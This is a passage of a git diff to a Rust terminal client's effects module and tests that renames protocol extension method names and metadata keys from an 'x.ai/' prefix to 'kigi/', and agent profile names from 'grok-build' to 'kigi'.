-/// | true  | false     | true     | `grok-build-plan-no-subagents` | omitted (shell gate) |
-/// | true  | true      | true     | `grok-build-plan`              | omitted (shell gate) |
+/// | false | false     | false    | `kigi` (default)         | `false`            |
+/// | false | true      | false    | `kigi` (default)         | `false`            |
+/// | false | false     | true     | `kigi-ask-user`          | omitted (shell gate) |
+/// | false | true      | true     | `kigi-ask-user`          | omitted (shell gate) |
+/// | true  | false     | false    | `kigi-plan-no-subagents` | `false`            |
+/// | true  | true      | false    | `kigi-plan`              | `false`            |
+/// | true  | false     | true     | `kigi-plan-no-subagents` | omitted (shell gate) |
+/// | true  | true      | true     | `kigi-plan`              | omitted (shell gate) |
 ///
 /// When [`Self::chat_mode`] is set (gateway light-frontend / `--chat`), Build
-/// `agentProfile` injection is omitted (K12) and `_meta["x.ai/session"].kind`
+/// `agentProfile` injection is omitted (K12) and `_meta["kigi/session"].kind`
 /// is stamped `"chat"` so the shell takes `require_gateway` / thin profile.
 #[derive(Debug, Clone, Default)]
 pub(crate) struct SessionFlags {
@@ -183,7 +183,7 @@ pub(crate) struct SessionFlags {
     pub subagents: bool,
     pub ask_user: bool,
     /// Restore code state on resume (`--restore-code`).
-    /// Injected as `x.ai/restore_code` into `LoadSession` meta, or passed
+    /// Injected as `kigi/restore_code` into `LoadSession` meta, or passed
     /// as `restoreCode` in the `resume_session` ACP payload for worktrees.
     pub restore_code: Option<bool>,
     pub agent_override: Option<serde_json::Value>,
@@ -208,7 +208,7 @@ pub(crate) struct SessionFlags {
 impl SessionFlags {
     /// Resolve the agent profile name from the flags.
     ///
-    /// Returns `None` for the default `grok-build` profile (no `_meta`
+    /// Returns `None` for the default `kigi` profile (no `_meta`
     /// needed; it already includes TaskTool). Chat mode never injects a
     /// Build profile (remote owns agent behavior).
     pub(super) fn agent_profile(&self) -> Option<&'static str> {
@@ -216,9 +216,9 @@ impl SessionFlags {
             return None;
         }
         match (self.plan_mode, self.subagents, self.ask_user) {
-            (true, true, _) => Some("grok-build-plan"),
-            (true, false, _) => Some("grok-build-plan-no-subagents"),
-            (false, _, true) => Some("grok-build-ask-user"),
+            (true, true, _) => Some("kigi-plan"),
+            (true, false, _) => Some("kigi-plan-no-subagents"),
+            (false, _, true) => Some("kigi-ask-user"),
             (false, _, false) => None,
         }
     }
@@ -229,7 +229,7 @@ impl SessionFlags {
     /// emit-site comment below). `--no-ask-user` always forces
     /// `askUserQuestion: false` into the meta, even when paired with
     /// `KIGI_AGENT` — the env var chooses the *agent*, but the tool-strip is
-    /// independent. Chat mode additionally stamps `x.ai/session.kind`.
+    /// independent. Chat mode additionally stamps `kigi/session.kind`.
     pub(super) fn to_meta(&self) -> Option<acp::Meta> {
         let mut meta = serde_json::Map::new();
         if self.chat_mode {
@@ -247,7 +247,7 @@ impl SessionFlags {
             meta.insert("agentProfile".into(), serde_json::json!(profile));
         }
         if self.chat_mode {
-            meta.insert("x.ai/session".into(), serde_json::json!({ "kind" : "chat" }));
+            meta.insert("kigi/session".into(), serde_json::json!({ "kind" : "chat" }));
         }
         if !self.ask_user {
             meta.insert("askUserQuestion".into(), serde_json::json!(false));
@@ -266,13 +266,13 @@ impl SessionFlags {
 /// workspace for `kind=chat`; the client must not bind Direct/envId/attach.
 pub(super) const CHAT_FORBIDDEN_WORKSPACE_BIND_KEYS: &[&str] = &[
     "envId",
-    "x.ai/cloud_server_id",
-    "x.ai/cloud_existing_workspace",
+    "kigi/cloud_server_id",
+    "kigi/cloud_existing_workspace",
 ];
-/// Stamp `_meta["x.ai/session"].kind = "chat"` and strip Build `agentProfile` (K12).
+/// Stamp `_meta["kigi/session"].kind = "chat"` and strip Build `agentProfile` (K12).
 pub(super) fn apply_chat_kind_meta(meta: &mut Option<acp::Meta>) {
     let obj = meta.get_or_insert_with(acp::Meta::new);
-    obj.insert("x.ai/session".into(), serde_json::json!({ "kind" : "chat" }));
+    obj.insert("kigi/session".into(), serde_json::json!({ "kind" : "chat" }));
     obj.remove("agentProfile");
 }
 /// Remove client workspace-bind keys from chat create/load meta (defense in depth).
@@ -360,7 +360,7 @@ pub(super) fn count_chat_history_stats(history_path: &Path) -> (usize, usize) {
     }
     (turn_count, tool_call_count)
 }
-/// Parse the `x.ai/session/list` response payload (the unwrapped
+/// Parse the `kigi/session/list` response payload (the unwrapped
 /// `{ "sessions": [...] }` object) into [`SessionPickerEntry`] rows.
 ///
 /// Shared by the resume picker ([`Effect::FetchSessionList`]) and the
@@ -399,7 +399,7 @@ pub(super) fn parse_session_picker_entries(
                 .map(String::from);
             let is_conversation = v
                 .get("_meta")
-                .and_then(|m| m.get("x.ai/session"))
+                .and_then(|m| m.get("kigi/session"))
                 .and_then(|s| s.get("kind"))
                 .and_then(|k| k.as_str()) == Some("chat");
             let parsed_updated: Option<chrono::DateTime<chrono::Utc>> = v
@@ -548,7 +548,7 @@ pub(super) fn session_picker_entry_to_roster(
 }
 pub(super) async fn send_logout(tx: &AcpAgentTx) {
     let req = acp::ExtRequest::new(
-        "x.ai/auth/logout",
+        "kigi/auth/logout",
         serde_json::value::to_raw_value(&serde_json::json!({}))
             .expect("serialize auth/logout params")
             .into(),
@@ -927,7 +927,7 @@ pub(crate) async fn persist_setting(
 /// Body for `Effect::PersistPermissionMode`. Factored out for testability.
 ///
 /// 1. Persist `ui.permission_mode` to disk.
-/// 2. Fire ACP `x.ai/yolo_mode_changed` (gated on disk success for
+/// 2. Fire ACP `kigi/yolo_mode_changed` (gated on disk success for
 ///    `WithRollback`; always for `BestEffort`).
 /// 3. Return the matching `TaskResult`.
 pub(crate) async fn persist_permission_mode_and_notify(
@@ -951,7 +951,7 @@ pub(crate) async fn persist_permission_mode_and_notify(
             config_str, }
         );
         let notification = acp::ExtNotification::new(
-            "x.ai/yolo_mode_changed",
+            "kigi/yolo_mode_changed",
             serde_json::value::to_raw_value(&params)
                 .expect("serialize yolo_mode_changed params")
                 .into(),
@@ -962,7 +962,7 @@ pub(crate) async fn persist_permission_mode_and_notify(
     }
     route_permission_mode_result(disk_outcome, persist, config_str)
 }
-/// Whether to fire the ACP `x.ai/yolo_mode_changed` notification.
+/// Whether to fire the ACP `kigi/yolo_mode_changed` notification.
 /// `WithRollback` suppresses on disk failure (agent must not see the
 /// optimistic value). `BestEffort` always fires.
 pub(super) fn should_send_yolo_acp_notification(
@@ -975,7 +975,7 @@ pub(super) fn should_send_yolo_acp_notification(
         (Err(_), PermissionModePersist::WithRollback(_)) => false,
     }
 }
-/// Extract the typed kill outcome from an `x.ai/task/kill` ext response.
+/// Extract the typed kill outcome from an `kigi/task/kill` ext response.
 ///
 /// The agent serializes `ExtMethodResult<KillTaskResponse>`, so the outcome
 /// lives at `result.outcome` (`{"result":{"taskId":..,"outcome":
@@ -997,7 +997,7 @@ pub(super) fn parse_kill_outcome(
         .and_then(|envelope| envelope.result)
         .map(|payload| payload.outcome)
 }
-/// Map an `x.ai/subagent/cancel` response (payload under `result`) to a kill
+/// Map an `kigi/subagent/cancel` response (payload under `result`) to a kill
 /// outcome. Prefers the typed `outcome`; falls back to the legacy `cancelled`
 /// bool for an older shell or an unknown future `kind`. An error/unparseable
 /// body is `RpcFailed` (subagent may still be running — leave the row alone).
@@ -1092,7 +1092,7 @@ pub(super) fn persist_hint(
             TaskResult::CancelComplete
         });
 }
-/// Parse an `x.ai/billing` ext response body (the unwrapped `result`
+/// Parse an `kigi/billing` ext response body (the unwrapped `result`
 /// payload) into Kimi usage rows. A body that fails to deserialize is an
 /// error, not an empty quota list, so a malformed response can't render
 /// as "no usage data".
diff --git a/crates/codegen/kigi-tui/src/app/effects/mod.rs b/crates/codegen/kigi-tui/src/app/effects/mod.rs
index ae006db..dfd19b7 100644
--- a/crates/codegen/kigi-tui/src/app/effects/mod.rs
+++ b/crates/codegen/kigi-tui/src/app/effects/mod.rs
@@ -200,7 +200,7 @@ pub(crate) fn execute(
             if chat_kind || session_flags.chat_mode {
                 meta.get_or_insert_with(acp::Meta::new)
                     .insert(
-                        "x.ai/session".into(),
+                        "kigi/session".into(),
                         serde_json::json!({ "kind" : "chat" }),
                     );
             }
@@ -238,7 +238,7 @@ pub(crate) fn execute(
                             payload["gitRef"] = serde_json::Value::String(r.clone());
                         }
                         let ext_req = acp::ExtRequest::new(
-                            "x.ai/git/worktree/resume_session",
+                            "kigi/git/worktree/resume_session",
                             serde_json::value::to_raw_value(&payload)
                                 .expect("serialize resume params")
                                 .into(),
@@ -342,7 +342,7 @@ pub(crate) fn execute(
                         params["gitRef"] = serde_json::Value::String(r.clone());
                     }
                     let ext_req = acp::ExtRequest::new(
-                        "x.ai/git/worktree/create_from_worktree_sync",
+                        "kigi/git/worktree/create_from_worktree_sync",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize worktree params")
                             .into(),
@@ -470,7 +470,7 @@ pub(crate) fn execute(
             }
             if let Some(true) = session_flags.restore_code {
                 meta.get_or_insert_with(acp::Meta::new)
-                    .insert("x.ai/restore_code".into(), serde_json::Value::Bool(true));
+                    .insert("kigi/restore_code".into(), serde_json::Value::Bool(true));
             }
             let cwd = session_cwd.unwrap_or_else(|| cwd.to_path_buf());
             let mcp_started = std::time::Instant::now();
@@ -670,7 +670,7 @@ pub(crate) fn execute(
                         params["query"] = serde_json::Value::String(q.clone());
                     }
                     let request = acp::ExtRequest::new(
-                        "x.ai/session/list",
+                        "kigi/session/list",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize session list params")
                             .into(),
@@ -725,7 +725,7 @@ pub(crate) fn execute(
             tasks
                 .spawn(async move {
                     let request = acp::ExtRequest::new(
-                        "x.ai/sessions/list",
+                        "kigi/sessions/list",
                         serde_json::value::to_raw_value(&serde_json::json!({}))
                             .expect("serialize roster list params")
                             .into(),
@@ -743,7 +743,7 @@ pub(crate) fn execute(
                                 }
                                 None => {
                                     tracing::warn!(
-                                        "failed to parse x.ai/sessions/list response"
+                                        "failed to parse kigi/sessions/list response"
                                     );
                                     TaskResult::RosterFailed {
                                         error: "parse error".to_string(),
@@ -768,7 +768,7 @@ pub(crate) fn execute(
                         { "cwd" : cwd.to_string_lossy(), "limit" : 30, }
                     );
                     let request = acp::ExtRequest::new(
-                        "x.ai/session/list",
+                        "kigi/session/list",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize session list params")
                             .into(),
@@ -1211,7 +1211,7 @@ pub(crate) fn execute(
                         { "sessionId" : session_id.0.to_string(), }
                     );
                     let notification = acp::ExtNotification::new(
-                        "x.ai/toggle_plan_mode",
+                        "kigi/toggle_plan_mode",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize toggle_plan_mode params")
                             .into(),
@@ -1233,7 +1233,7 @@ pub(crate) fn execute(
                         "expectedVersion" : expected_version, }
                     );
                     let notification = acp::ExtNotification::new(
-                        "x.ai/queue/remove",
+                        "kigi/queue/remove",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize queue/remove params")
                             .into(),
@@ -1253,7 +1253,7 @@ pub(crate) fn execute(
                         ordered_ids, }
                     );
                     let notification = acp::ExtNotification::new(
-                        "x.ai/queue/reorder",
+                        "kigi/queue/reorder",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize queue/reorder params")
                             .into(),
@@ -1272,7 +1272,7 @@ pub(crate) fn execute(
                         { "sessionId" : session_id.0.to_string(), }
                     );
                     let notification = acp::ExtNotification::new(
-                        "x.ai/queue/clear",
+                        "kigi/queue/clear",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize queue/clear params")
                             .into(),
@@ -1292,7 +1292,7 @@ pub(crate) fn execute(
                         new_text, }
                     );
                     let notification = acp::ExtNotification::new(
-                        "x.ai/queue/edit",
+                        "kigi/queue/edit",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize queue/edit params")
                             .into(),
@@ -1315,7 +1315,7 @@ pub(crate) fn execute(
                         params["newText"] = serde_json::Value::String(new_text);
                     }
                     let notification = acp::ExtNotification::new(
-                        "x.ai/queue/interject",
+                        "kigi/queue/interject",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize queue/interject params")
                             .into(),
@@ -1396,7 +1396,7 @@ pub(crate) fn execute(
                         { "sessionId" : session_id.0.to_string(), }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/compact_conversation",
+                        "kigi/compact_conversation",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize compact params")
                             .into(),
@@ -1419,7 +1419,7 @@ pub(crate) fn execute(
                         session_id, }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/prompt_history",
+                        "kigi/prompt_history",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize prompt_history params")
                             .into(),
@@ -1467,7 +1467,7 @@ pub(crate) fn execute(
                         task_id: task_id.clone(),
                     };
                     let req = acp::ExtRequest::new(
-                        "x.ai/task/kill",
+                        "kigi/task/kill",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize kill params")
                             .into(),
@@ -1500,7 +1500,7 @@ pub(crate) fn execute(
                         subagent_id, }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/subagent/cancel",
+                        "kigi/subagent/cancel",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize cancel params")
                             .into(),
@@ -1527,7 +1527,7 @@ pub(crate) fn execute(
                         { "sessionId" : session_id.0.to_string(), "taskId" : task_id, }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/scheduler/delete",
+                        "kigi/scheduler/delete",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize scheduler delete params")
                             .into(),
@@ -1547,7 +1547,7 @@ pub(crate) fn execute(
                         tool_call_id, }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/terminal/background",
+                        "kigi/terminal/background",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize background params")
                             .into(),
@@ -1862,7 +1862,7 @@ pub(crate) fn execute(
                         }
                         let params = serde_json::json!({});
                         let req = acp::ExtRequest::new(
-                            "x.ai/auth/get_url",
+                            "kigi/auth/get_url",
                             serde_json::value::to_raw_value(&params)
                                 .expect("serialize auth_url params")
                                 .into(),
@@ -1901,7 +1901,7 @@ pub(crate) fn execute(
                 .spawn(async move {
                     let params = serde_json::json!({ "code" : code });
                     let req = acp::ExtRequest::new(
-                        "x.ai/auth/submit_code",
+                        "kigi/auth/submit_code",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize auth code params")
                             .into(),
@@ -1935,7 +1935,7 @@ pub(crate) fn execute(
                         { "sessionId" : session_id.0.to_string(), "cache" : cache, }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/mcp/list",
+                        "kigi/mcp/list",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize mcp/list params")
                             .into(),
@@ -1976,7 +1976,7 @@ pub(crate) fn execute(
                         server_name, }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/mcp/auth_trigger",
+                        "kigi/mcp/auth_trigger",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize mcp/auth_trigger params")
                             .into(),
@@ -2024,7 +2024,7 @@ pub(crate) fn execute(
                         { "sessionId" : session_id.0.to_string(), }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/hooks/list",
+                        "kigi/hooks/list",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize hooks/list params")
                             .into(),
@@ -2061,7 +2061,7 @@ pub(crate) fn execute(
                         { "sessionId" : session_id.0.to_string(), }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/plugins/list",
+                        "kigi/plugins/list",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize plugins/list params")
                             .into(),
@@ -2099,7 +2099,7 @@ pub(crate) fn execute(
                         action,
                     };
                     let req = acp::ExtRequest::new(
-                        "x.ai/hooks/action",
+                        "kigi/hooks/action",
                         serde_json::value::to_raw_value(&req_body)
                             .expect("serialize hooks/action params")
                             .into(),
@@ -2139,7 +2139,7 @@ pub(crate) fn execute(
                         action,
                     };
                     let req = acp::ExtRequest::new(
-                        "x.ai/plugins/action",
+                        "kigi/plugins/action",
                         serde_json::value::to_raw_value(&req_body)
                             .expect("serialize plugins/action params")
                             .into(),
@@ -2176,7 +2176,7 @@ pub(crate) fn execute(
                 .spawn(async move {
                     let params = serde_json::json!({ "cwd" : "." });
                     let req = acp::ExtRequest::new(
-                        "x.ai/skills/list",
+                        "kigi/skills/list",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize skills/list params")
                             .into(),
@@ -2215,7 +2215,7 @@ pub(crate) fn execute(
                         { "name" : skill_name, "enabled" : enabled, "cwd" : ".", }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/skills/toggle",
+                        "kigi/skills/toggle",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize skills/toggle params")
                             .into(),
@@ -2235,7 +2235,7 @@ pub(crate) fn execute(
                                 .map_err(|_| "couldn't toggle skill".to_string());
                             if parsed.is_ok() {
                                 let refresh = acp::ExtRequest::new(
-                                    "x.ai/skills/refresh-baseline",
+                                    "kigi/skills/refresh-baseline",
                                     serde_json::value::to_raw_value(&serde_json::json!({}))
                                         .expect("serialize empty params")
                                         .into(),
@@ -2273,7 +2273,7 @@ pub(crate) fn execute(
                         config: *config,
                     };
                     let req = acp::ExtRequest::new(
-                        "x.ai/mcp/upsert",
+                        "kigi/mcp/upsert",
                         serde_json::value::to_raw_value(&req_body)
                             .expect("serialize mcp/upsert params")
                             .into(),
@@ -2308,7 +2308,7 @@ pub(crate) fn execute(
                         server_name,
                     };
                     let req = acp::ExtRequest::new(
-                        "x.ai/mcp/delete",
+                        "kigi/mcp/delete",
                         serde_json::value::to_raw_value(&req_body)
                             .expect("serialize mcp/delete params")
                             .into(),
@@ -2337,7 +2337,7 @@ pub(crate) fn execute(
                         server_name, "enabled" : enabled, }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/mcp/toggle",
+                        "kigi/mcp/toggle",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize mcp/toggle params")
                             .into(),
@@ -2367,7 +2367,7 @@ pub(crate) fn execute(
                         server_name, "tool_name" : tool_name, "enabled" : enabled, }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/mcp/toggle_tool",
+                        "kigi/mcp/toggle_tool",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize mcp/toggle_tool params")
                             .into(),
@@ -2446,7 +2446,7 @@ pub(crate) fn execute(
                         cwd: String,
                     }
                     let request = acp::ExtRequest::new(
-                        "x.ai/session/rename",
+                        "kigi/session/rename",
                         serde_json::value::to_raw_value(
                                 &RenameRequest {
                                     session_id: session_id.0.to_string(),
@@ -2503,7 +2503,7 @@ pub(crate) fn execute(
                         cwd: String,
                     }
                     let request = acp::ExtRequest::new(
-                        "x.ai/session/delete",
+                        "kigi/session/delete",
                         serde_json::value::to_raw_value(
                                 &DeleteRequest {
                                     session_id: session_id.clone(),
@@ -2605,7 +2605,7 @@ pub(crate) fn execute(
                         }
                     };
                     let request = acp::ExtRequest::new(
-                        "x.ai/feedback",
+                        "kigi/feedback",
                         raw_params.into(),
                     );
                     match acp_send(request, &tx).await {
@@ -2636,7 +2636,7 @@ pub(crate) fn execute(
             tasks
                 .spawn(async move {
                     let request = acp::ExtRequest::new(
-                        "x.ai/memory/rewrite",
+                        "kigi/memory/rewrite",
                         serde_json::value::to_raw_value(
                                 &serde_json::json!(
                                     { "sessionId" : session_id.0.to_string(), "rawText" :
@@ -2703,7 +2703,7 @@ pub(crate) fn execute(
             tasks
                 .spawn(async move {
                     let request = acp::ExtRequest::new(
-                        "x.ai/btw",
+                        "kigi/btw",
                         serde_json::value::to_raw_value(
                                 &serde_json::json!(
                                     { "sessionId" : session_id.0.to_string(), "question" :
@@ -2746,7 +2746,7 @@ pub(crate) fn execute(
             tasks
                 .spawn(async move {
                     let request = acp::ExtRequest::new(
-                        "x.ai/recap",
+                        "kigi/recap",
                         serde_json::value::to_raw_value(
                                 &serde_json::json!(
                                     { "sessionId" : session_id.0.to_string(), "auto" : auto, }
@@ -2790,7 +2790,7 @@ pub(crate) fn execute(
                         blocks.as_deref(),
                     );
                     let request = acp::ExtRequest::new(
-                        "x.ai/interject",
+                        "kigi/interject",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize interject params")
                             .into(),
@@ -2820,7 +2820,7 @@ pub(crate) fn execute(
                 .spawn(async move {
                     let params = serde_json::json!({ "kind" : kind, "name" : name });
                     let request = acp::ExtRequest::new(
-                        "x.ai/bundle/entry/get",
+                        "kigi/bundle/entry/get",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize bundle/entry/get params")
                             .into(),
@@ -2876,7 +2876,7 @@ pub(crate) fn execute(
             tasks
                 .spawn(async move {
                     let request = acp::ExtRequest::new(
-                        "x.ai/bundle/status",
+                        "kigi/bundle/status",
                         serde_json::value::to_raw_value(&serde_json::json!({}))
                             .expect("serialize bundle/status params")
                             .into(),
@@ -2935,7 +2935,7 @@ pub(crate) fn execute(
                 .spawn(async move {
                     let params = serde_json::json!({ "cwd" : cwd });
                     let req = acp::ExtRequest::new(
-                        "x.ai/commands/list",
+                        "kigi/commands/list",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize commands/list params")
                             .into(),
@@ -2971,7 +2971,7 @@ pub(crate) fn execute(
             tasks
                 .spawn(async move {
                     let request = acp::ExtRequest::new(
-                        "x.ai/rewind/points",
+                        "kigi/rewind/points",
                         serde_json::value::to_raw_value(
                                 &serde_json::json!(
                                     { "sessionId" : session_id.0.to_string() }
@@ -3030,7 +3030,7 @@ pub(crate) fn execute(
             tasks
                 .spawn(async move {
                     let request = acp::ExtRequest::new(
-                        "x.ai/rewind/execute",
+                        "kigi/rewind/execute",
                         serde_json::value::to_raw_value(
                                 &serde_json::json!(
                                     { "sessionId" : session_id.0.to_string(),
@@ -3084,7 +3084,7 @@ pub(crate) fn execute(
             tasks
                 .spawn(async move {
                     let request = acp::ExtRequest::new(
-                        "x.ai/rewind/execute",
+                        "kigi/rewind/execute",
                         serde_json::value::to_raw_value(
                                 &serde_json::json!(
                                     { "sessionId" : session_id.0.to_string(),
@@ -3144,7 +3144,7 @@ pub(crate) fn execute(
                             { "query" : query, "limit" : 20, "includeContent" : true, }
                         );
                         let request = acp::ExtRequest::new(
-                            "x.ai/session/search",
+                            "kigi/session/search",
                             serde_json::value::to_raw_value(&params)
                                 .expect("serialize deep search params")
                                 .into(),
@@ -3229,7 +3229,7 @@ pub(crate) fn execute(
                         parent_is_worktree,
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/session/fork",
+                        "kigi/session/fork",
                         serde_json::value::to_raw_value(&payload)
                             .expect("serialize fork params")
                             .into(),
@@ -3308,7 +3308,7 @@ pub(crate) fn execute(
             tasks
                 .spawn(async move {
                     let req = acp::ExtRequest::new(
-                        "x.ai/billing",
+                        "kigi/billing",
                         serde_json::value::to_raw_value(&serde_json::json!({}))
                             .expect("serialize usage params")
                             .into(),
@@ -3362,7 +3362,7 @@ pub(crate) fn execute(
                         token_only, }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/suggest",
+                        "kigi/suggest",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize suggest params")
                             .into(),
@@ -3401,7 +3401,7 @@ pub(crate) fn execute(
                         session_id, }
                     );
                     let req = acp::ExtRequest::new(
-                        "x.ai/suggestPrompt",
+                        "kigi/suggestPrompt",
                         serde_json::value::to_raw_value(&params)
                             .expect("serialize suggestPrompt params")
                             .into(),
@@ -3428,13 +3428,13 @@ pub(crate) fn execute(
     }
     (false, meta)
 }
-/// Fetch session info from ACP via `x.ai/session/info`.
+/// Fetch session info from ACP via `kigi/session/info`.
 async fn fetch_session_info(
     session_id: &acp::SessionId,
     tx: &AcpAgentTx,
 ) -> Result<SessionInfoResponse, String> {
     let request = acp::ExtRequest::new(
-        "x.ai/session/info",
+        "kigi/session/info",
         serde_json::value::to_raw_value(
                 &serde_json::json!({ "sessionId" : session_id.0.to_string() }),
             )
@@ -3584,7 +3584,7 @@ fn prompt_request_meta(
     }
     serde_json::Value::Object(map)
 }
-/// Build the `x.ai/interject` params. The optional structured `content`
+/// Build the `kigi/interject` params. The optional structured `content`
 /// (text + images) is omitted ENTIRELY when `None` so the legacy wire
 /// shape stays byte-identical. Extracted from the spawn for testability.
 fn build_interject_params(
diff --git a/crates/codegen/kigi-tui/src/app/effects/tests.rs b/crates/codegen/kigi-tui/src/app/effects/tests.rs
index 36753dd..fc020df 100644
--- a/crates/codegen/kigi-tui/src/app/effects/tests.rs
+++ b/crates/codegen/kigi-tui/src/app/effects/tests.rs
@@ -67,7 +67,7 @@ fn prompt_request_meta_omits_screen_mode_when_unset() {
     assert_eq!(meta, serde_json::json!({ "promptId" : "p-2" }));
 }
 /// Text-only interjections must omit the `content` key entirely — the
-/// legacy `x.ai/interject` wire shape stays byte-identical.
+/// legacy `kigi/interject` wire shape stays byte-identical.
 #[test]
 fn interject_params_omit_content_when_no_blocks() {
     let sid = acp::SessionId::new("s1");
@@ -83,7 +83,7 @@ fn interject_params_omit_content_when_no_blocks() {
 fn picker_keeps_conversation_with_empty_cwd_and_missing_updated_at() {
     let payload = serde_json::json!(
         { "sessions" : [{ "sessionId" : "conv_abc", "cwd" : "", "summary" :
-        "Compare GPU vendors", "source" : "conversation", "_meta" : { "x.ai/session" : {
+        "Compare GPU vendors", "source" : "conversation", "_meta" : { "kigi/session" : {
         "kind" : "chat" } } }] }
     );
     let entries = parse_session_picker_entries(&payload);
@@ -97,7 +97,7 @@ fn picker_keeps_old_conversation_past_cutoff() {
     let payload = serde_json::json!(
         { "sessions" : [{ "sessionId" : "conv_old", "cwd" : "", "summary" :
         "Ancient chat", "source" : "conversation", "updatedAt" : "2020-01-01T00:00:00Z",
-        "_meta" : { "x.ai/session" : { "kind" : "chat" } } }] }
+        "_meta" : { "kigi/session" : { "kind" : "chat" } } }] }
     );
     let entries = parse_session_picker_entries(&payload);
     assert_eq!(entries.len(), 1, "old conversation must still render");
@@ -112,13 +112,13 @@ fn picker_drops_local_with_missing_updated_at() {
     let entries = parse_session_picker_entries(&payload);
     assert!(entries.is_empty(), "local rows still require a parseable updatedAt");
 }
-/// Untitled grok.com chats must stay listed, rendered as "Untitled".
+/// Untitled kimi.com chats must stay listed, rendered as "Untitled".
 #[test]
 fn picker_keeps_untitled_conversation_as_untitled() {
     let payload = serde_json::json!(
         { "sessions" : [{ "sessionId" : "conv_untitled", "cwd" : "", "summary" : "",
         "source" : "conversation", "updatedAt" : "2026-07-01T00:00:00Z", "_meta" : {
-        "x.ai/session" : { "kind" : "chat" } } }] }
+        "kigi/session" : { "kind" : "chat" } } }] }
     );
     let entries = parse_session_picker_entries(&payload);
     assert_eq!(entries.len(), 1, "untitled conversation must not vanish");
@@ -277,7 +277,7 @@ fn interject_params_carry_content_when_blocks_present() {
     assert_eq!(content.len(), 1);
     assert_eq!(content[0] ["text"], "look at [Image #1]");
 }
-/// `x.ai/billing` ext result (a serialized shell `UsageResponse`) parses
+/// `kigi/billing` ext result (a serialized shell `UsageResponse`) parses
 /// into typed rows; unknown labels/reset hints survive the round trip.
 #[test]
 fn parse_usage_response_reads_rows_from_fixture() {
@@ -473,7 +473,7 @@ async fn persist_setting_type_mismatch_errors_simple_mode() {
 }
 use std::sync::Arc;
 use std::sync::atomic::{AtomicUsize, Ordering};
-/// Spawn a fake ACP agent that counts `x.ai/yolo_mode_changed`
+/// Spawn a fake ACP agent that counts `kigi/yolo_mode_changed`
 /// notifications. Exits when the channel closes.
 fn spawn_fake_acp_agent(
     mut rx: tokio::sync::mpsc::UnboundedReceiver<kigi_acp_lib::AcpAgentMessage>,
@@ -483,7 +483,7 @@ fn spawn_fake_acp_agent(
     tokio::spawn(async move {
         while let Some(msg) = rx.recv().await {
             if let kigi_acp_lib::AcpAgentMessage::ExtNotification(args) = msg {
-                if args.request.method.as_ref() == "x.ai/yolo_mode_changed" {
+                if args.request.method.as_ref() == "kigi/yolo_mode_changed" {
                     counter_clone.fetch_add(1, Ordering::SeqCst);
                 }
                 let _ = args.response_tx.send(Ok(()));
@@ -590,7 +590,7 @@ async fn persist_permission_mode_acp_notification_fires_once_on_best_effort() {
     tokio::time::sleep(std::time::Duration::from_millis(50)).await;
     assert_eq!(
         counter.load(Ordering::SeqCst), 1,
-        "ACP `x.ai/yolo_mode_changed` notification must fire exactly once \
+        "ACP `kigi/yolo_mode_changed` notification must fire exactly once \
              on BestEffort path (regardless of disk outcome)",
     );
     assert!(
@@ -972,7 +972,7 @@ async fn fetch_session_list_pushes_query_and_echoes_seq() {
     tokio::spawn(async move {
         while let Some(msg) = rx.recv().await {
             if let AcpAgentMessage::ExtMethod(args) = msg {
-                assert_eq!(args.request.method.as_ref(), "x.ai/session/list");
+                assert_eq!(args.request.method.as_ref(), "kigi/session/list");
                 let params: serde_json::Value = serde_json::from_str(
                         args.request.params.get(),
                     )
@@ -1094,7 +1094,7 @@ fn agent_profile_names_are_valid_builtins() {
                 ask_user: false,
                 ..Default::default()
             },
-            "grok-build-plan",
+            "kigi-plan",
         ),
         (
             SessionFlags {
@@ -1103,7 +1103,7 @@ fn agent_profile_names_are_valid_builtins() {
                 ask_user: false,
                 ..Default::default()
             },
-            "grok-build-plan-no-subagents",
+            "kigi-plan-no-subagents",
         ),
         (
             SessionFlags {
@@ -1112,7 +1112,7 @@ fn agent_profile_names_are_valid_builtins() {
                 ask_user: true,
                 ..Default::default()
             },
-            "grok-build-plan",
+            "kigi-plan",
         ),
         (
             SessionFlags {
@@ -1121,7 +1121,7 @@ fn agent_profile_names_are_valid_builtins() {
                 ask_user: true,
                 ..Default::default()
             },
-            "grok-build-plan-no-subagents",
+            "kigi-plan-no-subagents",
         ),
         (
             SessionFlags {
